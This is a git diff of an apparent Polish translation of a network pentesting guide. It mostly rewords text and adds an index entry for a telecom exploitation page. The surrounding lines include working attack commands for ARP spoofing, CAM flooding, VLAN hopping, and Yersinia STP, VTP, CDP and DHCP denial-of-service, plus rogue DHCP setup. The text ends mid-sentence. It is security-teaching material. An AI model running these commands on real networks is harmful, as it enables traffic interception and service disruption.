diff --git a/src/SUMMARY.md b/src/SUMMARY.md index ad681ba95..df1a7762a 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -21,6 +21,7 @@ - [Network Protocols Explained (ESP)](generic-methodologies-and-resources/pentesting-network/network-protocols-explained-esp.md) - [Nmap Summary (ESP)](generic-methodologies-and-resources/pentesting-network/nmap-summary-esp.md) - [Pentesting IPv6](generic-methodologies-and-resources/pentesting-network/pentesting-ipv6.md) + - [Telecom Network Exploitation](generic-methodologies-and-resources/pentesting-network/telecom-network-exploitation.md) - [WebRTC DoS](generic-methodologies-and-resources/pentesting-network/webrtc-dos.md) - [Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks](generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) - [Spoofing SSDP and UPnP Devices with EvilSSDP](generic-methodologies-and-resources/pentesting-network/spoofing-ssdp-and-upnp-devices.md) diff --git a/src/generic-methodologies-and-resources/pentesting-network/README.md b/src/generic-methodologies-and-resources/pentesting-network/README.md index a9778840e..f3f226a0a 100644 --- a/src/generic-methodologies-and-resources/pentesting-network/README.md +++ b/src/generic-methodologies-and-resources/pentesting-network/README.md @@ -12,7 +12,7 @@ W tej sytuacji masz pewien **zakres IP** (może nawet kilka **zakresów**) i mus ### ICMP To jest **najłatwiejszy** i **najszybszy** sposób, aby odkryć, czy host jest aktywny, czy nie.\ -Możesz spróbować wysłać kilka **pakietów ICMP** i **oczekiwać odpowiedzi**. Najłatwiejszym sposobem jest po prostu wysłanie **żądania echo** i oczekiwanie na odpowiedź. Możesz to zrobić, używając prostego `ping` lub używając `fping` dla **zakresów**.\ +Możesz spróbować wysłać kilka pakietów **ICMP** i **oczekiwać odpowiedzi**. Najłatwiejszym sposobem jest po prostu wysłanie **żądania echo** i oczekiwanie na odpowiedź. Możesz to zrobić, używając prostego `ping` lub używając `fping` dla **zakresów**.\ Możesz również użyć **nmap**, aby wysłać inne typy pakietów ICMP (to pomoże uniknąć filtrów dla powszechnych żądań-odpowiedzi ICMP echo). ```bash ping -c 1 199.66.11.4 # 1 echo request to a host @@ -21,7 +21,7 @@ nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet ``` ### Odkrywanie portów TCP -Bardzo często można zauważyć, że wszystkie rodzaje pakietów ICMP są filtrowane. Wtedy jedyną rzeczą, którą możesz zrobić, aby sprawdzić, czy host jest aktywny, jest **próba znalezienia otwartych portów**. Każdy host ma **65535 portów**, więc jeśli masz "duży" zakres, **nie możesz** sprawdzić, czy **każdy port** każdego hosta jest otwarty, ponieważ zajmie to zbyt dużo czasu.\ +Bardzo często można zauważyć, że wszystkie rodzaje pakietów ICMP są filtrowane. Wtedy jedyną rzeczą, którą możesz zrobić, aby sprawdzić, czy host jest aktywny, jest **próba znalezienia otwartych portów**. Każdy host ma **65535 portów**, więc jeśli masz "duży" zakres, **nie możesz** sprawdzić, czy **każdy port** każdego hosta jest otwarty, zajmie to zbyt dużo czasu.\ W takim razie potrzebujesz **szybkiego skanera portów** ([masscan](https://github.com/robertdavidgraham/masscan)) i listy **najczęściej używanych portów:** ```bash #Using masscan to scan top20ports of nmap in a /24 range (less than 5min) @@ -37,13 +37,13 @@ masscan -p80,443,8000-8100,8443 199.66.11.0/24 ``` ### Odkrywanie portów UDP -Możesz również spróbować sprawdzić, czy niektóre **porty UDP są otwarte**, aby zdecydować, czy powinieneś **zwrócić większą uwagę** na **hosta.** Ponieważ usługi UDP zazwyczaj **nie odpowiadają** **żadnymi danymi** na standardowy pusty pakiet probe UDP, trudno jest stwierdzić, czy port jest filtrowany, czy otwarty. Najłatwiejszym sposobem na podjęcie decyzji jest wysłanie pakietu związanego z działającą usługą, a ponieważ nie wiesz, która usługa działa, powinieneś spróbować najbardziej prawdopodobnych na podstawie numeru portu: +Możesz również spróbować sprawdzić, czy niektóre **porty UDP są otwarte**, aby zdecydować, czy powinieneś **zwrócić większą uwagę** na **hosta.** Ponieważ usługi UDP zazwyczaj **nie odpowiadają** **żadnymi danymi** na standardowy pusty pakiet probe UDP, trudno jest stwierdzić, czy port jest filtrowany, czy otwarty. Najłatwiejszym sposobem na podjęcie decyzji jest wysłanie pakietu związanego z działającą usługą, a ponieważ nie wiesz, która usługa działa, powinieneś spróbować najbardziej prawdopodobnej na podstawie numeru portu: ```bash nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24 # The -sV will make nmap test each possible known UDP service packet # The "--version-intensity 0" will make nmap only test the most probable ``` -Linia nmap zaproponowana wcześniej przetestuje **najlepsze 1000 portów UDP** w każdym hoście w zakresie **/24**, ale nawet to zajmie **>20min**. Jeśli potrzebujesz **najszybszych wyników**, możesz użyć [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner): `./udp-proto-scanner.pl 199.66.11.53/24`. To wyśle te **proby UDP** do ich **oczekiwanego portu** (dla zakresu /24 zajmie to tylko 1 minutę): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike, ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._ +Linia nmap zaproponowana wcześniej przetestuje **najlepsze 1000 portów UDP** w każdym hoście w zakresie **/24**, ale nawet to zajmie **>20min**. Jeśli potrzebujesz **najszybszych wyników**, możesz użyć [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner): `./udp-proto-scanner.pl 199.66.11.53/24`. To wyśle te **proby UDP** do ich **oczekiwanego portu** (dla zakresu /24 zajmie to tylko 1 min): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike, ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._ ### Odkrywanie portów SCTP ```bash @@ -60,7 +60,7 @@ Tutaj znajdziesz ładny przewodnik po wszystkich znanych atakach Wifi w momencie ## Odkrywanie hostów od wewnątrz -Jeśli jesteś w sieci, jedną z pierwszych rzeczy, które chcesz zrobić, jest **odkrycie innych hostów**. W zależności od **tego, ile hałasu** możesz/chcesz zrobić, można wykonać różne działania: +Jeśli jesteś wewnątrz sieci, jedną z pierwszych rzeczy, które chcesz zrobić, jest **odkrycie innych hostów**. W zależności od **tego, ile hałasu** możesz/chcesz zrobić, można wykonać różne działania: ### Pasywne @@ -103,13 +103,13 @@ Jednak, ponieważ jesteś w **tej samej sieci** co inne hosty, możesz zrobić * - Jeśli **pingujesz** **adres rozgłoszeniowy podsieci**, ping powinien dotrzeć do **każdego hosta** i mogą oni **odpowiedzieć** **tobie**: `ping -b 10.10.5.255` - Pingując **adres rozgłoszeniowy sieci**, możesz nawet znaleźć hosty w **innych podsieciach**: `ping -b 255.255.255.255` -- Użyj flag `-PE`, `-PP`, `-PM` w `nmap`, aby przeprowadzić odkrywanie hostów, wysyłając odpowiednio **żądania ICMPv4 echo**, **znacznika czasu** i **maski podsieci:** `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24` +- Użyj flag `-PE`, `-PP`, `-PM` w `nmap`, aby przeprowadzić odkrywanie hostów, wysyłając odpowiednio **ICMPv4 echo**, **znacznik czasu** i **żądania maski podsieci:** `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24` ### **Wake On Lan** -Wake On Lan jest używane do **włączania** komputerów za pomocą **wiadomości sieciowej**. Magiczny pakiet używany do włączenia komputera to tylko pakiet, w którym podany jest **MAC Dst**, a następnie jest **powtarzany 16 razy** w tym samym pakiecie.\ -Takie pakiety są zazwyczaj wysyłane w **ethernet 0x0842** lub w **pakiecie UDP na port 9**.\ -Jeśli **żaden \[MAC]** nie jest podany, pakiet jest wysyłany do **rozgłoszenia ethernet** (a rozgłoszeniowy MAC będzie tym, który jest powtarzany). +Wake On Lan jest używane do **włączania** komputerów za pomocą **wiadomości sieciowej**. Magiczny pakiet używany do włączenia komputera to tylko pakiet, w którym podany jest **MAC Dst**, a następnie jest on **powtarzany 16 razy** w tym samym pakiecie.\ +Takie pakiety są zazwyczaj wysyłane w **ethernet 0x0842** lub w **pakiecie UDP na porcie 9**.\ +Jeśli **żaden \[MAC]** nie jest podany, pakiet jest wysyłany do **rozgłoszeniowego ethernet** (a rozgłoszeniowy MAC będzie tym, który jest powtarzany). ```bash # Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain) wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847 @@ -157,7 +157,7 @@ nmap -sU -sV --version-intensity 0 -n -T4 ``` ### SCTP Scan -**SCTP (Stream Control Transmission Protocol)** jest zaprojektowany do użycia obok **TCP (Transmission Control Protocol)** i **UDP (User Datagram Protocol)**. Jego głównym celem jest ułatwienie transportu danych telekomunikacyjnych przez sieci IP, odzwierciedlając wiele funkcji niezawodności występujących w **Signaling System 7 (SS7)**. **SCTP** jest kluczowym składnikiem rodziny protokołów **SIGTRAN**, która ma na celu transport sygnałów SS7 przez sieci IP. +**SCTP (Stream Control Transmission Protocol)** jest zaprojektowany do użycia obok **TCP (Transmission Control Protocol)** i **UDP (User Datagram Protocol)**. Jego głównym celem jest ułatwienie transportu danych telekomunikacyjnych przez sieci IP, odzwierciedlając wiele funkcji niezawodnościowych występujących w **Signaling System 7 (SS7)**. **SCTP** jest kluczowym składnikiem rodziny protokołów **SIGTRAN**, która ma na celu transport sygnałów SS7 przez sieci IP. Wsparcie dla **SCTP** jest zapewniane przez różne systemy operacyjne, takie jak **IBM AIX**, **Oracle Solaris**, **HP-UX**, **Linux**, **Cisco IOS** i **VxWorks**, co wskazuje na jego szeroką akceptację i użyteczność w dziedzinie telekomunikacji i sieci. @@ -192,9 +192,9 @@ IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64 ``` ## Sniffing -Sniffing pozwala na poznanie szczegółów zakresów IP, rozmiarów podsieci, adresów MAC i nazw hostów poprzez przeglądanie przechwyconych ramek i pakietów. Jeśli sieć jest źle skonfigurowana lub fabric przełączania jest obciążona, atakujący mogą przechwycić wrażliwe materiały za pomocą pasywnego sniffingu sieciowego. +Sniffing możesz dowiedzieć się szczegółów dotyczących zakresów IP, rozmiarów podsieci, adresów MAC i nazw hostów, przeglądając przechwycone ramki i pakiety. Jeśli sieć jest źle skonfigurowana lub fabric przełączania jest obciążona, atakujący mogą przechwycić wrażliwe materiały za pomocą pasywnego sniffingu sieciowego. -Jeśli przełączona sieć Ethernet jest poprawnie skonfigurowana, zobaczysz tylko ramki rozgłoszeniowe i materiały przeznaczone dla twojego adresu MAC. +Jeśli sieć Ethernet z przełącznikami jest poprawnie skonfigurowana, zobaczysz tylko ramki rozgłoszeniowe i materiały przeznaczone dla twojego adresu MAC. ### TCPDump ```bash @@ -222,13 +222,13 @@ Oczywiście. ### Przechwytywanie poświadczeń -Możesz użyć narzędzi takich jak [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz), aby analizować poświadczenia z pliku pcap lub z aktywnego interfejsu. +Możesz użyć narzędzi takich jak [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) do parsowania poświadczeń z pliku pcap lub z aktywnego interfejsu. ## Ataki w LAN ### Spoofing ARP -Spoofing ARP polega na wysyłaniu niepotrzebnych odpowiedzi ARP, aby wskazać, że IP maszyny ma MAC naszego urządzenia. Wtedy ofiara zmieni tabelę ARP i skontaktuje się z naszą maszyną za każdym razem, gdy będzie chciała skontaktować się z IP, które zostało sfałszowane. +Spoofing ARP polega na wysyłaniu niepotrzebnych odpowiedzi ARP, aby wskazać, że IP maszyny ma MAC naszego urządzenia. Wtedy ofiara zmieni tabelę ARP i skontaktuje się z naszą maszyną za każdym razem, gdy będzie chciała skontaktować się z podrobionym IP. #### **Bettercap** ```bash @@ -246,7 +246,7 @@ arpspoof -t 192.168.1.2 192.168.1.1 ``` ### MAC Flooding - CAM overflow -Przepełnienie tabeli CAM przełącznika poprzez wysyłanie dużej liczby pakietów z różnymi adresami MAC źródłowymi. Gdy tabela CAM jest pełna, przełącznik zaczyna zachowywać się jak hub (broadcastując cały ruch). +Przepełnienie tabeli CAM przełącznika, wysyłając wiele pakietów z różnymi adresami MAC źródłowymi. Gdy tabela CAM jest pełna, przełącznik zaczyna zachowywać się jak hub (broadcastując cały ruch). ```bash macof -i ``` @@ -256,11 +256,11 @@ W nowoczesnych przełącznikach ta podatność została naprawiona. #### Dynamic Trunking -**Dynamic Trunking Protocol (DTP)** jest zaprojektowany jako protokół warstwy łącza, aby ułatwić automatyczny system trunkingu, pozwalając przełącznikom na automatyczny wybór portów w trybie trunk (Trunk) lub trybie nie-trunk. Wdrożenie **DTP** często postrzegane jest jako wskaźnik suboptymalnego projektowania sieci, podkreślając znaczenie ręcznej konfiguracji trunków tylko tam, gdzie to konieczne, oraz zapewnienia odpowiedniej dokumentacji. +**Dynamic Trunking Protocol (DTP)** jest zaprojektowany jako protokół warstwy łącza, aby ułatwić automatyczny system trunkingu, pozwalając przełącznikom na automatyczny wybór portów do trybu trunk (Trunk) lub trybu non-trunk. Wdrożenie **DTP** często postrzegane jest jako wskaźnik suboptymalnego projektowania sieci, podkreślając znaczenie ręcznej konfiguracji trunków tylko tam, gdzie jest to konieczne, oraz zapewnienia odpowiedniej dokumentacji. -Domyślnie porty przełącznika są ustawione na tryb Dynamic Auto, co oznacza, że są gotowe do inicjowania trunkingu, jeśli zostaną o to poproszone przez sąsiedni przełącznik. Problem bezpieczeństwa pojawia się, gdy pentester lub atakujący łączy się z przełącznikiem i wysyła ramkę DTP Desirable, zmuszając port do przejścia w tryb trunk. Działanie to umożliwia atakującemu enumerację VLAN-ów poprzez analizę ramek STP i obejście segmentacji VLAN, tworząc wirtualne interfejsy. +Domyślnie porty przełącznika są ustawione na tryb Dynamic Auto, co oznacza, że są gotowe do inicjowania trunkingu, jeśli zostaną o to poproszone przez sąsiedni przełącznik. Problem bezpieczeństwa pojawia się, gdy pentester lub atakujący łączy się z przełącznikiem i wysyła ramkę DTP Desirable, zmuszając port do wejścia w tryb trunk. Działanie to umożliwia atakującemu enumerację VLAN-ów poprzez analizę ramek STP i obejście segmentacji VLAN, tworząc wirtualne interfejsy. -Obecność DTP w wielu przełącznikach domyślnie może być wykorzystywana przez przeciwników do naśladowania zachowania przełącznika, co pozwala na dostęp do ruchu we wszystkich VLAN-ach. Skrypt [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) jest wykorzystywany do monitorowania interfejsu, ujawniając, czy przełącznik jest w trybie Default, Trunk, Dynamic, Auto lub Access—ten ostatni jest jedyną konfiguracją odporną na ataki VLAN hopping. To narzędzie ocenia status podatności przełącznika. +Obecność DTP w wielu przełącznikach domyślnie może być wykorzystywana przez przeciwników do naśladowania zachowania przełącznika, co pozwala na dostęp do ruchu we wszystkich VLAN-ach. Skrypt [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) jest wykorzystywany do monitorowania interfejsu, ujawniając, czy przełącznik jest w trybie Default, Trunk, Dynamic, Auto, czy Access—ten ostatni będąc jedyną konfiguracją odporną na ataki VLAN hopping. To narzędzie ocenia status podatności przełącznika. Jeśli zostanie zidentyfikowana podatność sieci, narzędzie _**Yersinia**_ może być użyte do "włączenia trunkingu" za pomocą protokołu DTP, co pozwala na obserwację pakietów ze wszystkich VLAN-ów. ```bash @@ -329,7 +329,7 @@ Dyskusja na temat ataku **Dynamic Trunking i tworzenia wirtualnych interfejsów Jeśli atakujący zna wartość **MAC, IP i VLAN ID of the victim host**, może spróbować **podwójnie otagować ramkę** jej przypisanym VLANem oraz VLANem ofiary i wysłać pakiet. Ponieważ **ofiara nie będzie mogła połączyć się z powrotem** z atakującym, **najlepszą opcją dla atakującego jest komunikacja za pomocą UDP** do protokołów, które mogą wykonać interesujące akcje (jak SNMP). -Inną opcją dla atakującego jest przeprowadzenie **skanowania portów TCP, podszywając się pod IP kontrolowane przez atakującego i dostępne przez ofiarę** (prawdopodobnie przez internet). Następnie atakujący mógłby podsłuchiwać na drugim hoście, który mu należy, jeśli otrzyma jakieś pakiety od ofiary. +Inną opcją dla atakującego jest przeprowadzenie **skanowania portów TCP, podszywając się pod IP kontrolowane przez atakującego i dostępne przez ofiarę** (prawdopodobnie przez internet). Następnie atakujący może podsłuchiwać na drugim hoście, który mu należy, jeśli otrzyma jakieś pakiety od ofiary. ![](<../../images/image (190).png>) @@ -340,17 +340,17 @@ from scapy.all import * packet = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=20)/IP(dst='192.168.1.10')/ICMP() sendp(packet) ``` -#### Lateral VLAN Segmentation Bypass +#### Ominięcie segmentacji VLAN w poziomie -Jeśli masz **dostęp do switcha, do którego jesteś bezpośrednio podłączony**, masz możliwość **obejścia segmentacji VLAN** w sieci. Po prostu **przełącz port w tryb trunk** (znany również jako trunk), utwórz wirtualne interfejsy z identyfikatorami docelowych VLAN-ów i skonfiguruj adres IP. Możesz spróbować zażądać adresu dynamicznie (DHCP) lub skonfigurować go statycznie. To zależy od przypadku. +Jeśli masz **dostęp do switcha, do którego jesteś bezpośrednio podłączony**, masz możliwość **ominięcia segmentacji VLAN** w sieci. Po prostu **przełącz port w tryb trunk** (znany również jako trunk), utwórz wirtualne interfejsy z identyfikatorami docelowych VLAN-ów i skonfiguruj adres IP. Możesz spróbować zażądać adresu dynamicznie (DHCP) lub skonfigurować go statycznie. To zależy od przypadku. {{#ref}} lateral-vlan-segmentation-bypass.md {{#endref}} -#### Layer 3 Private VLAN Bypass +#### Ominięcie prywatnego VLAN w warstwie 3 -W niektórych środowiskach, takich jak sieci bezprzewodowe dla gości, wprowadza się ustawienia **izolacji portów (znane również jako prywatne VLAN)**, aby zapobiec bezpośredniej komunikacji między klientami podłączonymi do punktu dostępowego. Jednak zidentyfikowano technikę, która może obejść te środki izolacji. Technika ta wykorzystuje brak ACL w sieci lub ich niewłaściwą konfigurację, umożliwiając pakietom IP przechodzenie przez router, aby dotrzeć do innego klienta w tej samej sieci. +W niektórych środowiskach, takich jak sieci bezprzewodowe dla gości, wprowadza się ustawienia **izolacji portów (znane również jako prywatny VLAN)**, aby zapobiec bezpośredniej komunikacji między klientami podłączonymi do punktu dostępowego. Jednak zidentyfikowano technikę, która może obejść te środki izolacyjne. Technika ta wykorzystuje brak ACL w sieci lub ich niewłaściwą konfigurację, umożliwiając pakietom IP przechodzenie przez router, aby dotrzeć do innego klienta w tej samej sieci. Atak jest realizowany poprzez stworzenie **pakietu, który zawiera adres IP docelowego klienta, ale z adresem MAC routera**. To powoduje, że router błędnie przekazuje pakiet do docelowego klienta. To podejście jest podobne do tego stosowanego w atakach Double Tagging, gdzie możliwość kontrolowania hosta dostępnego dla ofiary jest wykorzystywana do wykorzystania luki w zabezpieczeniach. @@ -359,21 +359,21 @@ Atak jest realizowany poprzez stworzenie **pakietu, który zawiera adres IP doce 1. **Tworzenie pakietu:** Pakiet jest specjalnie tworzony, aby zawierał adres IP docelowego klienta, ale z adresem MAC routera. 2. **Wykorzystywanie zachowania routera:** Stworzony pakiet jest wysyłany do routera, który, z powodu konfiguracji, przekierowuje pakiet do docelowego klienta, omijając izolację zapewnianą przez ustawienia prywatnego VLAN. -### VTP Attacks +### Ataki VTP VTP (VLAN Trunking Protocol) centralizuje zarządzanie VLAN. Wykorzystuje numery rewizji do utrzymania integralności bazy danych VLAN; każda modyfikacja zwiększa ten numer. Switche przyjmują konfiguracje z wyższymi numerami rewizji, aktualizując swoje własne bazy danych VLAN. -#### VTP Domain Roles +#### Role w domenie VTP -- **VTP Server:** Zarządza VLAN-ami—tworzy, usuwa, modyfikuje. Rozsyła ogłoszenia VTP do członków domeny. -- **VTP Client:** Otrzymuje ogłoszenia VTP, aby zsynchronizować swoją bazę danych VLAN. Ta rola jest ograniczona w zakresie lokalnych modyfikacji konfiguracji VLAN. -- **VTP Transparent:** Nie angażuje się w aktualizacje VTP, ale przekazuje ogłoszenia VTP. Nie jest dotknięty atakami VTP, utrzymuje stały numer rewizji równy zero. +- **Serwer VTP:** Zarządza VLAN-ami—tworzy, usuwa, modyfikuje. Rozsyła ogłoszenia VTP do członków domeny. +- **Klient VTP:** Odbiera ogłoszenia VTP, aby zsynchronizować swoją bazę danych VLAN. Ta rola jest ograniczona w zakresie lokalnych modyfikacji konfiguracji VLAN. +- **Przezroczysty VTP:** Nie angażuje się w aktualizacje VTP, ale przekazuje ogłoszenia VTP. Nie jest dotknięty atakami VTP, utrzymuje stały numer rewizji równy zero. -#### VTP Advertisement Types +#### Typy ogłoszeń VTP -- **Summary Advertisement:** Rozsyłane przez serwer VTP co 300 sekund, zawiera istotne informacje o domenie. -- **Subset Advertisement:** Wysyłane po zmianach konfiguracji VLAN. -- **Advertisement Request:** Wydawane przez klienta VTP w celu zażądania ogłoszenia podsumowującego, zazwyczaj w odpowiedzi na wykrycie wyższego numeru rewizji konfiguracji. +- **Ogłoszenie podsumowujące:** Rozsyłane przez serwer VTP co 300 sekund, zawierające istotne informacje o domenie. +- **Ogłoszenie podzbioru:** Wysyłane po zmianach w konfiguracji VLAN. +- **Żądanie ogłoszenia:** Wydawane przez klienta VTP w celu zażądania ogłoszenia podsumowującego, zazwyczaj w odpowiedzi na wykrycie wyższego numeru rewizji konfiguracji. Luki w VTP są wykorzystywane wyłącznie przez porty trunk, ponieważ ogłoszenia VTP krążą tylko przez nie. Scenariusze po ataku DTP mogą przejść do VTP. Narzędzia takie jak Yersinia mogą ułatwić ataki VTP, mając na celu usunięcie bazy danych VLAN, skutecznie zakłócając sieć. @@ -381,7 +381,7 @@ Uwaga: Ta dyskusja dotyczy wersji VTP 1 (VTPv1). ````bash %% yersinia -G # Launch Yersinia in graphical mode ``` ```` -W trybie graficznym Yersinii wybierz opcję usunięcia wszystkich VLAN-ów VTP, aby oczyścić bazę danych VLAN. +W trybie graficznym Yersinii wybierz opcję usunięcia wszystkich VLAN-ów VTP, aby wyczyścić bazę danych VLAN. ### Ataki STP @@ -389,7 +389,7 @@ W trybie graficznym Yersinii wybierz opcję usunięcia wszystkich VLAN-ów VTP, #### **STP BPDU DoS** -Wysyłając dużą liczbę ramek BPDU TCP (Powiadomienie o zmianie topologii) lub Conf (ramki BPDU, które są wysyłane, gdy topologia jest tworzona), przełączniki są przeciążone i przestają działać poprawnie. +Wysyłając dużą ilość BPDUs TCP (Powiadomienie o zmianie topologii) lub Conf (BPDUs, które są wysyłane, gdy topologia jest tworzona), przełączniki są przeciążone i przestają działać poprawnie. ```bash yersinia stp -attack 2 yersinia stp -attack 3 @@ -405,7 +405,7 @@ yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen #### **Atak STP Root** Napastnik symuluje zachowanie przełącznika, aby stać się korzeniem STP w sieci. Wtedy więcej danych będzie przechodzić przez niego. To jest interesujące, gdy jesteś podłączony do dwóch różnych przełączników.\ -To osiąga się poprzez wysyłanie pakietów BPDUs CONF, mówiących, że wartość **priorytetu** jest mniejsza niż rzeczywisty priorytet rzeczywistego przełącznika root. +To osiąga się poprzez wysyłanie pakietów BPDUs CONF, mówiących, że wartość **priorytetu** jest mniejsza niż rzeczywisty priorytet rzeczywistego przełącznika korzenia. ```bash yersinia stp -attack 4 #Behaves like the root switch yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root @@ -421,11 +421,11 @@ CISCO Discovery Protocol (CDP) jest niezbędny do komunikacji między urządzeni #### Pasywne zbieranie danych -CDP jest skonfigurowany do nadawania informacji przez wszystkie porty, co może prowadzić do ryzyka bezpieczeństwa. Atakujący, podłączając się do portu przełącznika, może wdrożyć sniffery sieciowe, takie jak **Wireshark**, **tcpdump** lub **Yersinia**. Działanie to może ujawnić wrażliwe dane o urządzeniu sieciowym, w tym jego model i wersję Cisco IOS, którą obsługuje. Atakujący może następnie celować w konkretne luki w zidentyfikowanej wersji Cisco IOS. +CDP jest skonfigurowany do nadawania informacji przez wszystkie porty, co może prowadzić do ryzyka bezpieczeństwa. Atakujący, podłączając się do portu przełącznika, może wdrożyć analizatory sieciowe, takie jak **Wireshark**, **tcpdump** lub **Yersinia**. Działanie to może ujawnić wrażliwe dane o urządzeniu sieciowym, w tym jego model i wersję Cisco IOS, którą obsługuje. Atakujący może następnie celować w konkretne luki w zidentyfikowanej wersji Cisco IOS. -#### Wzbudzanie zalewania tabeli CDP +#### Wymuszanie zalewania tabeli CDP -Bardziej agresywne podejście polega na przeprowadzeniu ataku typu Denial of Service (DoS) poprzez przytłoczenie pamięci przełącznika, udając legalne urządzenia CISCO. Poniżej znajduje się sekwencja poleceń do rozpoczęcia takiego ataku przy użyciu Yersinia, narzędzia sieciowego zaprojektowanego do testowania: +Bardziej agresywne podejście polega na przeprowadzeniu ataku Denial of Service (DoS) poprzez przytłoczenie pamięci przełącznika, udając legalne urządzenia CISCO. Poniżej znajduje się sekwencja poleceń do rozpoczęcia takiego ataku przy użyciu Yersinia, narzędzia sieciowego zaprojektowanego do testowania: ```bash sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO devices # Alternatively, for a GUI approach: @@ -444,11 +444,11 @@ Możesz również użyć [**scapy**](https://github.com/secdev/scapy/). Upewnij Telefony VoIP, coraz bardziej zintegrowane z urządzeniami IoT, oferują funkcje takie jak odblokowywanie drzwi czy kontrolowanie termostatów za pomocą specjalnych numerów telefonów. Jednak ta integracja może stwarzać zagrożenia dla bezpieczeństwa. -Narzędzie [**voiphopper**](http://voiphopper.sourceforge.net) zostało zaprojektowane do emulacji telefonu VoIP w różnych środowiskach (Cisco, Avaya, Nortel, Alcatel-Lucent). Odkrywa identyfikator VLAN sieci głosowej za pomocą protokołów takich jak CDP, DHCP, LLDP-MED i 802.1Q ARP. +Narzędzie [**voiphopper**](http://voiphopper.sourceforge.net) zostało zaprojektowane do emulacji telefonu VoIP w różnych środowiskach (Cisco, Avaya, Nortel, Alcatel-Lucent). Odkrywa identyfikator VLAN sieci głosowej, korzystając z protokołów takich jak CDP, DHCP, LLDP-MED i 802.1Q ARP. **VoIP Hopper** oferuje trzy tryby dla protokołu Cisco Discovery Protocol (CDP): -1. **Tryb Sniff** (`-c 0`): Analizuje pakiety sieciowe w celu zidentyfikowania identyfikatora VLAN. +1. **Tryb Sniff** (`-c 0`): Analizuje pakiety sieciowe, aby zidentyfikować identyfikator VLAN. 2. **Tryb Spoof** (`-c 1`): Generuje niestandardowe pakiety naśladujące te z rzeczywistego urządzenia VoIP. 3. **Tryb Spoof z gotowym pakietem** (`-c 2`): Wysyła pakiety identyczne do tych z konkretnego modelu telefonu IP Cisco. @@ -457,7 +457,7 @@ Preferowanym trybem dla szybkości jest trzeci. Wymaga on określenia: - Interfejsu sieciowego atakującego (`-i` parameter). - Nazwy emulowanego urządzenia VoIP (`-E` parameter), zgodnie z formatem nazewnictwa Cisco (np. SEP, a następnie adres MAC). -W środowisku korporacyjnym, aby naśladować istniejące urządzenie VoIP, można: +W środowiskach korporacyjnych, aby naśladować istniejące urządzenie VoIP, można: - Sprawdzić etykietę MAC na telefonie. - Przejść do ustawień wyświetlacza telefonu, aby zobaczyć informacje o modelu. @@ -492,7 +492,7 @@ Nmap done: 0 IP addresses (0 hosts up) scanned in 5.27 seconds **Dwa typy DoS** mogą być przeprowadzone przeciwko serwerom DHCP. Pierwszy z nich polega na **symulowaniu wystarczającej liczby fałszywych hostów, aby wykorzystać wszystkie możliwe adresy IP**.\ Atak ten zadziała tylko wtedy, gdy możesz zobaczyć odpowiedzi serwera DHCP i zakończyć protokół (**Discover** (Comp) --> **Offer** (server) --> **Request** (Comp) --> **ACK** (server)). Na przykład, **nie jest to możliwe w sieciach Wifi**. -Innym sposobem przeprowadzenia DoS DHCP jest wysłanie **pakietu DHCP-RELEASE, używając jako kodu źródłowego każdego możliwego adresu IP**. Wtedy serwer pomyśli, że wszyscy zakończyli korzystanie z adresu IP. +Innym sposobem przeprowadzenia DoS DHCP jest wysłanie pakietu **DHCP-RELEASE, używając jako kodu źródłowego każdego możliwego adresu IP**. Wtedy serwer pomyśli, że wszyscy zakończyli korzystanie z adresu IP. ```bash yersinia dhcp -attack 1 yersinia dhcp -attack 3 #More parameters are needed @@ -503,7 +503,7 @@ Możesz użyć wspomnianych ataków DoS, aby zmusić klientów do uzyskania nowy #### Ustaw złośliwe wartości -Nielegalny serwer DHCP można skonfigurować za pomocą skryptu DHCP znajdującego się w `/usr/share/responder/DHCP.py`. Jest to przydatne w atakach sieciowych, takich jak przechwytywanie ruchu HTTP i poświadczeń, poprzez przekierowywanie ruchu do złośliwego serwera. Jednak ustawienie nielegalnej bramy jest mniej skuteczne, ponieważ pozwala jedynie na przechwytywanie ruchu wychodzącego z klienta, pomijając odpowiedzi z prawdziwej bramy. Zamiast tego zaleca się skonfigurowanie nielegalnego serwera DNS lub WPAD dla bardziej skutecznego ataku. +Można skonfigurować nielegalny serwer DHCP za pomocą skryptu DHCP znajdującego się w `/usr/share/responder/DHCP.py`. Jest to przydatne w atakach sieciowych, takich jak przechwytywanie ruchu HTTP i poświadczeń, poprzez przekierowywanie ruchu do złośliwego serwera. Jednak ustawienie nielegalnej bramy jest mniej skuteczne, ponieważ pozwala jedynie na przechwytywanie ruchu wychodzącego od klienta, pomijając odpowiedzi z prawdziwej bramy. Zamiast tego zaleca się skonfigurowanie nielegalnego serwera DNS lub WPAD dla bardziej skutecznego ataku. Poniżej znajdują się opcje poleceń do skonfigurowania nielegalnego serwera DHCP: @@ -512,7 +512,7 @@ Poniżej znajdują się opcje poleceń do skonfigurowania nielegalnego serwera D - **Oryginalny adres IP routera/bramy**: Użyj `-r 10.0.0.1`, aby określić adres IP legalnego 